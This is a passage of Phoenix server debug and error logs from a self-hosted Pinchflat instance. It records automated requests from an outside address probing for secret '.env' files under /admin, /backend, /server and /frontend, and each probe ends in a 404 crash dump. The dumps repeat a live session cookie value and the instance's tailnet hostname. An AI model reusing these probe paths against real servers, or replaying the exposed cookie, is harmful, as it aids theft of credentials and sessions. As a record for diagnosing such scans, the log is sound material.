s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.311 [debug] QUERY OK source="settings" db=0.0ms idle=220.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.311 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:10.311 [error] #PID<0.3348.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 44) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /admin/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 44, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3348.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/admin/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6PaeFqO3RUUAAQrB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 44, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 44, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:10.423 [info] GET /backend/.env 02:10:10.424 [debug] QUERY OK source="settings" db=0.2ms idle=332.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.424 [debug] QUERY OK source="settings" db=0.0ms idle=230.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.424 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:10.424 [error] #PID<0.3349.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 45) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /backend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 45, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3349.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6P1YlYL4yrUAAQsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 45, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 45, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:10.527 [info] GET /server/.env 02:10:10.528 [debug] QUERY OK source="settings" db=0.3ms idle=333.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.529 [debug] QUERY OK source="settings" db=0.2ms idle=217.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.529 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:10.529 [error] #PID<0.3350.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 46) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /server/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 46, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3350.0>, params: %{}, path_info: ["server", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/server/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6QOOQmKJT7wAAQtB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 46, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 46, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: fal (truncated) 02:10:10.655 [info] GET /frontend/.env 02:10:10.656 [debug] QUERY OK source="settings" db=0.1ms idle=344.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.656 [debug] QUERY OK source="settings" db=0.0ms idle=231.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:10.656 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:10.656 [error] #PID<0.3351.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 47) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /frontend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /frontend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/frontend/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 47, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3351.0>, params: %{}, path_info: ["frontend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => 